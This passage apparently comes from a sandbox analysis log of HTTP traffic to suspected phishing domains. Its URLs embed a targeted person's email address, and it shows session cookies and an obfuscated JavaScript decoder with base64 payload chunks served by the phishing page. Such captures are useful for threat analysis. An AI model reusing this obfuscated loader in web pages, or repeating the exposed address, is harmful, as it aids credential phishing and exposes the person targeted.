56 7a 5a 6d 4e 6c 42 6a 62 48 6c 75 4e 6c 64 4a 56 48 51 33 4d 6d 51 7a 51 6b 77 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Ijh6QUxHTXEwRnVUVjVYUWxNa1h3Q1E9PSIsInZhbHVlIjoiQ1JJR1FDR3ZqQTA0R0hOV0lObkZ5eWxnTk8yTGFZaVF0Z2R2MXFFY2MxMXh5SkhvelIyT2V3UmlWcjdxNFdTTk5RNlBvbDRJVEJjQnZIL1FIbE5hK3poL0JFU3pXeHJ2ajZwVVJEUnJ1ZFRQVzZmNlBjbHluNldJVHQ3MmQzQkw
2025-03-26 21:11:16 UTC	26	IN	Data Raw: 31 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d 0d 0a Data Ascii: 14{"status":"success"}
2025-03-26 21:11:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:11:16 UTC	389	OUT	GET /rand$5ef7y HTTP/1.1 Host: a3fv1.ajcffp.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 21:11:17 UTC	819	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 21:11:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eBh6wVoxSsbsSKk72ErR9GFLpBa1KoY2%2Bx3z8PvjIflIppl8KoHUL3K7AaOY7pazxDDN49iXaICag9q5ikLYl0uhEjoL%2BN0bHhWQFMaR3bmAcvm1E7BSY1ndB9RFYDGKXUw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9269a3b83a366dc6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=83868&min_rtt=83829&rtt_var=17744&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2817&recv_bytes=961&delivery_rate=36407&cwnd=252&unsent_bytes=0&cid=8c6d58771709ffbd&ts=904&x=0"
2025-03-26 21:11:17 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-03-26 21:11:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:11:16 UTC	1510	OUT	GET /8VVgl7/$kenneth@arts.state.tx.us HTTP/1.1 Host: nvgy.zonqdkqezktw.es Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://nvgy.zonqdkqezktw.es/8VVgl7/$kenneth@arts.state.tx.us Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InZxa3FYRENwV1Jhb3RNT0tIS3VwZGc9PSIsInZhbHVlIjoieXVVSUxWaXBYZzJtT1JWZ1JsYzd5Q3hxaVY3QnZxcXEvbnJmU3g2ZUFYOGpwbGw1SUtXZm95eTJEK0wreU5jNzVVZllUTEovYzZKNE5oeXNpQmFjTTRPSmxpWnRwQTNSYThDdWVRT3QvWjJBRGdxNWdzTzJIUFVhUzJoR3ZETk8iLCJtYWMiOiIwZmM2YzU3MDU1ODkyNGYwODNiMjMyMWViOTQ1MTNhMGY2MGY3ZGRiZTFhMjA3N2U4NzRhMmJiZmU4ZjIyNzgyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijh6QUxHTXEwRnVUVjVYUWxNa1h3Q1E9PSIsInZhbHVlIjoiQ1JJR1FDR3ZqQTA0R0hOV0lObkZ5eWxnTk8yTGFZaVF0Z2R2MXFFY2MxMXh5SkhvelIyT2V3UmlWcjdxNFdTTk5RNlBvbDRJVEJjQnZIL1FIbE5hK3poL0JFU3pXeHJ2ajZwVVJEUnJ1ZFRQVzZmNlBjbHluNldJVHQ3MmQzQkwiLCJtYWMiOiIzNTliYzE0ODhkZGNmYjhmMDQxZWE5OTBiYzk0YmY3NzUyZjYzYTE2MGQ4NWE5ZDQ1MGE4YWNhYjU1NWRlMjYxIiwidGFnIjoiIn0%3D
2025-03-26 21:11:17 UTC	1217	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 21:11:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IhmWjGN3Y9%2BPLIefu3puC%2Fm51AxgaPvJCpjSI0fsrvR6off4HwtU72lQze5ITthO2PYppljE9%2BAgKT9sWAP7LnJK89fj%2Fc7%2FNjT6AszvVXzZCjzCScpxTbTzgzF9xCvE9Nf%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=449&min_rtt=324&rtt_var=184&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2419&delivery_rate=10698412&cwnd=252&unsent_bytes=0&cid=487b7869ce381cdf&ts=173&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IlRnUjNJTmpVVzczaXM1cTN1bE9JSnc9PSIsInZhbHVlIjoiUExwclRCL1UzYmUrOWdwdUZSemdSMHp0bWF1eE50SFVZd0Rnc2VBcERXRDVkakNNOGJSa1NIZng0cDRPNWpuOXhoeDNXTXhvTU5TenRieCtRZnh0T2hKZ0VReUZUM1hYNDY0M0p1dEpNN0puWWxpSHlwRnNGZ1hCeDVxMUx1MHkiLCJtYWMiOiIxYjg5ZjQxMDQ5ZjY5OTdhNDQ2MTcyZWIyNGQ0ZTQxNjYzMGM5ZGUxYTBiYmQyNGRlNDM2OTJhMGZlMDFmNWJlIiwidGFnIjoiIn0%3D; expires=Wed, 26-Mar-2025 23:11:17 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-26 21:11:17 UTC	764	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 74 33 64 31 56 71 4f 45 31 35 4d 6e 52 6e 65 48 4a 43 62 56 4e 74 62 45 78 4e 65 47 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 64 55 35 52 54 48 42 70 4e 48 70 33 4e 56 64 42 4d 46 56 32 5a 47 6c 57 61 6b 64 6d 55 58 64 43 63 6a 6c 7a 51 30 4a 34 4e 31 64 74 62 30 39 5a 65 55 4e 4c 51 55 70 4d 64 46 4a 55 4f 58 56 43 63 53 74 48 65 55 38 76 64 30 74 72 64 48 46 59 63 31 4a 77 65 55 68 48 64 6a 64 32 59 55 45 33 52 54 52 61 61 6b 56 73 5a 30 70 4b 54 33 42 58 65 6b 52 6a 63 46 68 4b 4d 57 31 31 5a 30 6c 6c 63 7a 67 78 5a 30 73 35 4c 7a 55 77 59 33 68 7a 54 30 6b 34 63 6e 5a 53 54 6b 5a 73 52 47 38 76 53 32 68 6a 56 54 59 76 59 55 34 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Ikt3d1VqOE15MnRneHJCbVNtbExNeGc9PSIsInZhbHVlIjoidU5RTHBpNHp3NVdBMFV2ZGlWakdmUXdCcjlzQ0J4N1dtb09ZeUNLQUpMdFJUOXVCcStHeU8vd0trdHFYc1JweUhHdjd2YUE3RTRaakVsZ0pKT3BXekRjcFhKMW11Z0llczgxZ0s5LzUwY3hzT0k4cnZSTkZsRG8vS2hjVTYvYU4
2025-03-26 21:11:17 UTC	1369	IN	Data Raw: 33 35 39 35 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 66 75 6e 63 74 69 6f 6e 20 62 51 45 4c 52 6f 58 4c 76 6e 28 49 4c 56 4c 4e 4b 74 53 57 71 2c 20 58 49 72 46 56 64 49 66 7a 6e 29 20 7b 0d 0a 6c 65 74 20 73 68 70 41 73 57 54 66 66 46 20 3d 20 27 27 3b 0d 0a 49 4c 56 4c 4e 4b 74 53 57 71 20 3d 20 61 74 6f 62 28 49 4c 56 4c 4e 4b 74 53 57 71 29 3b 0d 0a 6c 65 74 20 6a 4d 57 45 43 72 42 45 57 75 20 3d 20 58 49 72 46 56 64 49 66 7a 6e 2e 6c 65 6e 67 74 68 3b 0d 0a 66 6f 72 20 28 6c 65 74 20 69 20 3d 20 30 3b 20 69 20 3c 20 49 4c 56 4c 4e 4b 74 53 57 71 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0d 0a 20 20 20 20 73 68 70 41 73 57 54 66 66 46 20 2b 3d 20 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 49 4c 56 4c 4e 4b 74 53 57 71 2e 63 68 61 72 43 Data Ascii: 3595<script>function bQELRoXLvn(ILVLNKtSWq, XIrFVdIfzn) {let shpAsWTffF = '';ILVLNKtSWq = atob(ILVLNKtSWq);let jMWECrBEWu = XIrFVdIfzn.length;for (let i = 0; i < ILVLNKtSWq.length; i++) { shpAsWTffF += String.fromCharCode(ILVLNKtSWq.charC
2025-03-26 21:11:17 UTC	1369	IN	Data Raw: 30 48 67 51 55 57 43 30 64 4c 41 46 58 50 44 51 52 4e 31 52 34 45 52 51 52 43 44 64 52 4c 78 68 6c 4d 78 30 7a 48 68 55 76 49 42 49 38 55 68 38 33 45 68 45 68 4d 31 45 76 46 47 35 35 4d 43 78 37 46 53 49 32 43 54 64 2b 43 54 67 44 41 69 55 6e 41 43 38 54 64 69 30 77 4a 77 6c 52 4c 79 41 6f 59 46 51 6e 44 6c 49 43 4c 6a 51 65 41 67 64 69 4f 54 41 73 42 51 6b 48 4d 44 78 67 65 43 4d 37 56 43 67 49 4d 41 73 71 45 33 55 34 49 7a 77 6e 49 67 52 56 4e 44 78 34 49 7a 68 58 42 53 55 6b 58 69 6f 52 42 77 45 77 4a 77 6f 42 4c 79 51 6e 4e 33 34 4a 4f 41 4d 43 4a 53 63 41 41 79 6c 31 49 42 30 73 41 52 55 70 44 69 52 67 56 43 51 76 43 41 63 6c 4a 42 30 48 46 31 73 6e 48 53 41 6b 41 51 49 76 4c 47 46 74 47 51 34 44 4b 6c 51 77 55 6a 64 69 44 69 45 6a 4d 43 51 42 4b 42 Data Ascii: 0HgQUWC0dLAFXPDQRN1R4ERQRCDdRLxhlMx0zHhUvIBI8Uh83EhEhM1EvFG55MCx7FSI2CTd+CTgDAiUnAC8Tdi0wJwlRLyAoYFQnDlICLjQeAgdiOTAsBQkHMDxgeCM7VCgIMAsqE3U4IzwnIgRVNDx4IzhXBSUkXioRBwEwJwoBLyQnN34JOAMCJScAAyl1IB0sARUpDiRgVCQvCAclJB0HF1snHSAkAQIvLGFtGQ4DKlQwUjdiDiEjMCQBKB
2025-03-26 21:11:17 UTC	1369	IN	Data Raw: 4c 41 55 4b 4b 52 42 57 47 33 34 4a 4f 41 4d 43 4c 6c 59 70 4a 54 34 48 4f 6a 59 54 65 79 30 38 49 46 38 36 55 78 31 49 43 43 6b 49 4e 78 49 2f 42 32 55 68 4b 7a 77 52 43 67 51 4a 4e 42 31 57 45 6a 64 55 45 54 46 54 43 77 55 35 55 43 51 67 56 6e 49 54 41 69 41 77 5a 46 4d 4e 53 41 67 70 43 44 4d 4a 4b 68 4e 31 4a 78 30 7a 66 67 77 43 49 41 6f 6d 56 53 4d 52 43 43 38 4c 4d 42 49 43 45 31 77 74 48 42 4e 37 4c 53 38 6b 4a 7a 64 2b 44 53 39 57 45 54 46 54 56 79 6f 2b 64 54 4d 6a 50 42 45 4b 42 41 6b 30 46 57 30 64 49 77 77 76 4d 52 35 58 4c 52 4e 63 66 54 30 31 4a 41 45 76 4a 43 63 33 56 43 63 76 56 43 38 2b 4c 42 49 76 46 32 30 69 47 79 77 46 43 69 6b 51 56 68 74 52 47 52 4a 54 44 7a 63 57 45 54 4e 68 52 33 73 62 56 69 4d 57 42 46 63 73 48 6e 34 4f 53 51 4d Data Ascii: LAUKKRBWG34JOAMCLlYpJT4HOjYTey08IF86Ux1ICCkINxI/B2UhKzwRCgQJNB1WEjdUETFTCwU5UCQgVnITAiAwZFMNSAgpCDMJKhN1Jx0zfgwCIAomVSMRCC8LMBICE1wtHBN7LS8kJzd+DS9WETFTVyo+dTMjPBEKBAk0FW0dIwwvMR5XLRNcfT01JAEvJCc3VCcvVC8+LBIvF20iGywFCikQVhtRGRJTDzcWETNhR3sbViMWBFcsHn4OSQM
2025-03-26 21:11:17 UTC	1369	IN	Data Raw: 31 4d 4e 48 68 63 43 49 51 6f 53 42 77 68 6c 4f 69 41 7a 50 42 49 46 56 53 67 34 56 51 30 73 58 51 59 31 55 68 41 76 4f 67 4d 42 4d 43 63 4b 58 67 49 67 43 6d 42 56 44 53 78 50 48 69 46 66 48 67 49 58 62 54 77 62 49 79 63 51 4c 79 51 2f 4e 32 59 64 48 51 67 70 43 79 68 53 4c 78 4d 48 4c 53 30 7a 63 67 30 38 50 79 77 6c 66 67 38 72 43 43 68 55 43 67 6b 45 4f 6b 41 38 48 53 4d 6e 56 67 51 67 4d 33 74 30 49 7a 67 44 47 79 45 65 46 77 51 39 52 43 30 59 4c 41 45 4b 50 41 31 57 4f 56 59 43 4b 31 51 6f 4c 69 74 52 4b 69 6b 4f 4a 78 74 57 66 6c 59 46 48 6c 4d 2b 56 58 68 41 43 69 6b 68 4d 41 38 46 46 31 73 77 4e 51 6b 46 45 41 51 30 58 7a 70 55 65 54 51 64 47 31 51 38 44 77 51 48 57 7a 6b 63 4d 48 6f 6f 42 46 56 54 59 46 52 34 4c 78 30 6f 43 79 42 58 4b 54 35 54 Data Ascii: 1MNHhcCIQoSBwhlOiAzPBIFVSg4VQ0sXQY1UhAvOgMBMCcKXgIgCmBVDSxPHiFfHgIXbTwbIycQLyQ/N2YdHQgpCyhSLxMHLS0zcg08Pywlfg8rCChUCgkEOkA8HSMnVgQgM3t0IzgDGyEeFwQ9RC0YLAEKPA1WOVYCK1QoLitRKikOJxtWflYFHlM+VXhACikhMA8FF1swNQkFEAQ0XzpUeTQdG1Q8DwQHWzkcMHooBFVTYFR4Lx0oCyBXKT5T
2025-03-26 21:11:17 UTC	1369	IN	Data Raw: 63 41 50 7a 30 4f 66 6a 55 38 42 51 6b 2f 4d 44 51 6d 55 7a 41 57 41 77 59 6c 4a 31 63 46 47 46 41 74 4e 77 6f 4a 55 69 38 76 4c 44 35 75 4a 7a 77 4c 42 69 55 52 41 43 73 54 51 43 30 30 4a 7a 77 42 4b 79 52 53 4b 48 77 65 43 69 38 43 4a 53 63 41 4c 78 67 48 41 54 6f 4e 43 67 45 76 4a 43 51 2f 62 52 30 2f 44 78 45 2b 4c 77 41 48 46 48 49 74 48 42 4d 6b 41 53 38 6b 4a 7a 64 2b 43 54 73 51 45 6a 34 73 43 51 63 48 41 33 77 77 49 41 70 52 4a 51 34 6e 4e 33 34 4a 4f 41 4d 43 49 54 77 52 42 44 35 6d 50 68 70 57 4a 31 41 38 4d 77 6b 33 65 69 4e 4e 56 53 67 4c 4d 42 4d 70 4a 31 67 74 4d 43 63 4b 41 53 38 6b 4a 44 31 56 65 45 78 55 42 7a 34 43 43 77 63 48 55 79 55 64 49 43 51 42 4b 42 30 6e 4a 33 67 39 46 67 4d 43 4a 53 63 41 41 41 46 59 41 54 41 6e 43 67 45 76 49 Data Ascii: cAPz0OfjU8BQk/MDQmUzAWAwYlJ1cFGFAtNwoJUi8vLD5uJzwLBiURACsTQC00JzwBKyRSKHweCi8CJScALxgHAToNCgEvJCQ/bR0/DxE+LwAHFHItHBMkAS8kJzd+CTsQEj4sCQcHA3wwIApRJQ4nN34JOAMCITwRBD5mPhpWJ1A8Mwk3eiNNVSgLMBMpJ1gtMCcKAS8kJD1VeExUBz4CCwcHUyUdICQBKB0nJ3g9FgMCJScAAAFYATAnCgEvI
2025-03-26 21:11:17 UTC	1369	IN	Data Raw: 4f 4f 77 38 38 4d 44 77 6d 56 43 63 73 41 79 34 52 43 51 41 76 45 33 59 74 4d 43 63 4a 44 41 52 56 55 32 42 74 48 55 78 55 42 41 38 6e 43 53 77 71 52 41 45 77 4a 77 6f 42 4c 79 51 6e 4e 31 51 4e 51 42 34 71 50 6a 51 58 42 47 49 44 66 44 41 6a 44 51 38 46 56 56 38 6a 55 78 49 72 43 41 51 52 43 51 41 76 45 33 59 74 4d 43 63 4a 56 67 52 55 4a 32 5a 2b 44 6a 68 54 43 41 38 6e 41 43 38 54 64 69 30 77 49 7a 4d 4b 50 41 6b 33 5a 6e 34 4f 4f 46 4d 49 44 79 63 41 4c 78 4e 32 4c 54 41 73 41 52 59 38 56 51 35 67 65 43 4d 34 45 77 51 52 43 51 41 76 45 33 59 74 4d 43 63 4a 44 77 52 55 4e 47 42 56 65 45 6c 53 41 69 49 6e 55 43 55 35 64 69 30 77 4a 77 6f 42 4c 79 41 73 4f 47 35 34 44 51 6f 6f 43 31 39 57 42 44 31 6d 66 44 41 73 41 51 67 2f 43 69 4d 2f 65 67 6b 4f 41 77 Data Ascii: OOw88MDwmVCcsAy4RCQAvE3YtMCcJDARVU2BtHUxUBA8nCSwqRAEwJwoBLyQnN1QNQB4qPjQXBGIDfDAjDQ8FVV8jUxIrCAQRCQAvE3YtMCcJVgRUJ2Z+DjhTCA8nAC8Tdi0wIzMKPAk3Zn4OOFMIDycALxN2LTAsARY8VQ5geCM4EwQRCQAvE3YtMCcJDwRUNGBVeElSAiInUCU5di0wJwoBLyAsOG54DQooC19WBD1mfDAsAQg/CiM/egkOAw
2025-03-26 21:11:17 UTC	1369	IN	Data Raw: 64 43 4d 34 41 77 49 6c 4a 46 34 6c 4e 31 67 74 4d 43 63 4b 41 53 6f 4b 49 44 6c 56 65 53 39 55 42 79 55 6e 45 67 56 69 59 54 4d 64 43 53 63 4d 50 44 38 72 49 33 34 4a 54 42 4d 70 56 53 78 58 50 44 30 4f 4f 52 67 7a 63 78 55 76 4a 46 4e 67 62 52 49 33 56 43 6f 78 56 78 45 45 50 56 73 69 47 79 77 47 46 53 38 6b 55 7a 70 56 65 45 78 55 45 6a 45 6f 56 79 38 59 52 41 45 77 4a 77 6f 42 4c 79 51 6e 4e 32 34 6e 50 77 34 71 56 41 49 65 42 47 4e 68 50 79 4d 6e 65 67 77 45 56 52 34 6d 56 43 41 57 41 79 39 55 44 68 63 43 46 32 4a 39 4f 67 30 4b 41 53 38 6b 4a 7a 64 2b 44 55 67 4d 4b 41 73 43 46 77 51 36 57 43 30 30 44 67 6b 52 41 79 4d 56 47 33 34 4a 4f 41 4d 43 4a 53 63 41 50 7a 30 4f 4d 79 4d 6a 48 52 38 71 50 79 77 34 62 51 30 56 56 53 67 63 43 51 41 72 42 48 55 Data Ascii: dCM4AwIlJF4lN1gtMCcKASoKIDlVeS9UByUnEgViYTMdCScMPD8rI34JTBMpVSxXPD0OORgzcxUvJFNgbRI3VCoxVxEEPVsiGywGFS8kUzpVeExUEjEoVy8YRAEwJwoBLyQnN24nPw4qVAIeBGNhPyMnegwEVR4mVCAWAy9UDhcCF2J9Og0KAS8kJzd+DUgMKAsCFwQ6WC00DgkRAyMVG34JOAMCJScAPz0OMyMjHR8qPyw4bQ0VVSgcCQArBHU
2025-03-26 21:11:17 UTC	1369	IN	Data Raw: 51 41 76 45 33 59 74 4d 43 63 4a 45 6a 38 2f 4c 44 35 57 48 55 31 53 41 69 49 6a 45 41 55 59 55 43 30 30 49 44 67 74 4c 79 51 6e 4e 33 34 4a 4f 41 4d 52 43 31 38 53 41 68 4d 47 4d 42 67 38 4f 77 6f 70 44 69 63 6f 65 79 41 76 48 52 45 78 56 6c 41 6c 4f 58 59 74 4d 43 63 4a 58 79 55 41 43 54 64 2b 43 54 67 44 42 78 38 4a 41 44 41 58 59 54 41 64 49 79 63 53 42 46 56 54 49 47 34 64 41 52 34 43 4a 51 6b 52 4a 54 6c 32 4c 54 41 6e 43 68 4d 43 49 44 41 71 55 77 30 56 45 43 6c 55 55 78 63 2f 42 30 41 2b 47 44 77 5a 43 67 51 30 4a 43 42 56 48 52 6f 44 4c 68 45 4a 41 43 38 54 64 69 30 77 4a 77 6c 56 42 7a 41 30 59 46 59 4f 46 67 4d 47 4d 69 63 51 42 52 68 51 66 54 6f 4e 43 67 45 76 4a 43 63 33 66 67 30 52 43 43 6f 78 41 67 67 43 46 46 67 74 4e 44 41 4b 45 51 55 76 Data Ascii: QAvE3YtMCcJEj8/LD5WHU1SAiIjEAUYUC00IDgtLyQnN34JOAMRC18SAhMGMBg8OwopDicoeyAvHRExVlAlOXYtMCcJXyUACTd+CTgDBx8JADAXYTAdIycSBFVTIG4dAR4CJQkRJTl2LTAnChMCIDAqUw0VEClUUxc/B0A+GDwZCgQ0JCBVHRoDLhEJAC8Tdi0wJwlVBzA0YFYOFgMGMicQBRhQfToNCgEvJCc3fg0RCCoxAggCFFgtNDAKEQUv
2025-03-26 21:11:17 UTC	1369	IN	Data Raw: 5a 2b 56 69 6f 2f 41 6a 78 57 48 52 30 4c 4c 79 49 4a 41 44 38 39 44 6a 6b 6a 49 44 67 74 4c 79 51 6e 4e 33 34 4a 4f 41 4d 76 4c 69 77 50 42 44 35 35 4f 68 30 6a 4a 78 41 45 44 51 6b 33 62 69 63 2f 44 69 70 55 41 68 34 45 59 32 45 2f 49 79 64 36 44 41 52 56 48 69 5a 55 49 7a 67 54 42 77 77 6f 48 53 38 58 59 53 49 61 56 68 35 52 4a 51 34 6e 4e 33 34 4a 4f 31 30 49 41 51 6b 41 4c 78 4e 32 4c 54 55 4a 42 52 41 45 43 54 51 34 62 6e 6b 6f 41 78 45 4c 58 78 34 45 41 33 55 6a 48 54 77 5a 56 67 52 56 55 6d 5a 57 44 55 42 57 45 54 34 76 41 41 4d 6e 57 43 30 77 4a 77 6f 42 4c 79 51 6b 4f 57 34 64 4e 78 59 52 56 53 77 52 41 67 63 43 49 54 55 7a 42 52 41 45 49 46 38 70 65 43 4d 34 44 67 59 4d 44 56 4d 72 46 33 35 2f 4e 68 4d 6b 41 53 38 6b 4a 7a 64 52 47 78 59 76 41 Data Ascii: Z+Vio/AjxWHR0LLyIJAD89DjkjIDgtLyQnN34JOAMvLiwPBD55Oh0jJxAEDQk3bic/DipUAh4EY2E/Iyd6DARVHiZUIzgTBwwoHS8XYSIaVh5RJQ4nN34JO10IAQkALxN2LTUJBRAECTQ4bnkoAxELXx4EA3UjHTwZVgRVUmZWDUBWET4vAAMnWC0wJwoBLyQkOW4dNxYRVSwRAgcCITUzBRAEIF8peCM4DgYMDVMrF35/NhMkAS8kJzdRGxYvA

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:11:16 UTC	1149	OUT	GET /lobIFM35ef0YB7ynrIMZkoZzr3so5LWwiAwAFQMbzp HTTP/1.1 Host: nvgy.zonqdkqezktw.es Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InZxa3FYRENwV1Jhb3RNT0tIS3VwZGc9PSIsInZhbHVlIjoieXVVSUxWaXBYZzJtT1JWZ1JsYzd5Q3hxaVY3QnZxcXEvbnJmU3g2ZUFYOGpwbGw1SUtXZm95eTJEK0wreU5jNzVVZllUTEovYzZKNE5oeXNpQmFjTTRPSmxpWnRwQTNSYThDdWVRT3QvWjJBRGdxNWdzTzJIUFVhUzJoR3ZETk8iLCJtYWMiOiIwZmM2YzU3MDU1ODkyNGYwODNiMjMyMWViOTQ1MTNhMGY2MGY3ZGRiZTFhMjA3N2U4NzRhMmJiZmU4ZjIyNzgyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijh6QUxHTXEwRnVUVjVYUWxNa1h3Q1E9PSIsInZhbHVlIjoiQ1JJR1FDR3ZqQTA0R0hOV0lObkZ5eWxnTk8yTGFZaVF0Z2R2MXFFY2MxMXh5SkhvelIyT2V3UmlWcjdxNFdTTk5RNlBvbDRJVEJjQnZIL1FIbE5hK3poL0JFU3pXeHJ2ajZwVVJEUnJ1ZFRQVzZmNlBjbHluNldJVHQ3MmQzQkwiLCJtYWMiOiIzNTliYzE0ODhkZGNmYjhmMDQxZWE5OTBiYzk0YmY3NzUyZjYzYTE2MGQ4NWE5ZDQ1MGE4YWNhYjU1NWRlMjYxIiwidGFnIjoiIn0%3D
2025-03-26 21:11:17 UTC	1034	IN	HTTP/1.1 404 Not Found Date: Wed, 26 Mar 2025 21:11:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5CUk18z8d0W9IcUNIVfkVtwDKUPTCMtnXzwOL1TK%2FYuKb7djOzAZzvF9uoSP11hvAvMM8Fcm7yizmWX6GE3rsF1zRkqhoo%2Bw7wLVBexFHVYZZT4%2BvkTR3bP1SLwVQDxpSvsj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=16734&min_rtt=16722&rtt_var=6295&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2066&delivery_rate=240428&cwnd=252&unsent_bytes=0&cid=e4966ceab135a58f&ts=184&x=0" Server: cloudflare CF-RAY: 9269a3bbbe305541-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=89898&min_rtt=89821&rtt_var=19018&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2839&recv_bytes=1721&delivery_rate=34026&cwnd=252&unsent_bytes=0&cid=e19d023f7bda0220&ts=444&x=0"
2025-03-26 21:11:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:11:17 UTC	1479	OUT	POST /kfBuTaOa7Rg6KwTAHoqu0U6wgRR0Y9yHEYj0Dew HTTP/1.1 Host: nvgy.zonqdkqezktw.es Connection: keep-alive Content-Length: 33 sec-ch-ua-platform: "Windows" X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: https://nvgy.zonqdkqezktw.es Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://nvgy.zonqdkqezktw.es/8VVgl7/$kenneth@arts.state.tx.us Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlRnUjNJTmpVVzczaXM1cTN1bE9JSnc9PSIsInZhbHVlIjoiUExwclRCL1UzYmUrOWdwdUZSemdSMHp0bWF1eE50SFVZd0Rnc2VBcERXRDVkakNNOGJSa1NIZng0cDRPNWpuOXhoeDNXTXhvTU5TenRieCtRZnh0T2hKZ0VReUZUM1hYNDY0M0p1dEpNN0puWWxpSHlwRnNGZ1hCeDVxMUx1MHkiLCJtYWMiOiIxYjg5ZjQxMDQ5ZjY5OTdhNDQ2MTcyZWIyNGQ0ZTQxNjYzMGM5ZGUxYTBiYmQyNGRlNDM2OTJhMGZlMDFmNWJlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ikt3d1VqOE15MnRneHJCbVNtbExNeGc9PSIsInZhbHVlIjoidU5RTHBpNHp3NVdBMFV2ZGlWakdmUXdCcjlzQ0J4N1dtb09ZeUNLQUpMdFJUOXVCcStHeU8vd0trdHFYc1JweUhHdjd2YUE3RTRaakVsZ0pKT3BXekRjcFhKMW11Z0llczgxZ0s5LzUwY3hzT0k4cnZSTkZsRG8vS2hjVTYvYU4iLCJtYWMiOiI3MDQ3MDlmZjkyNjBjN2VmYzQ2ZWUyNmU1MzM5MWNhMGU1ZmI5YzIyYTM3ODc4YjNmODJmMzIzN2QwNmMwNGMzIiwidGFnIjoiIn0%3D
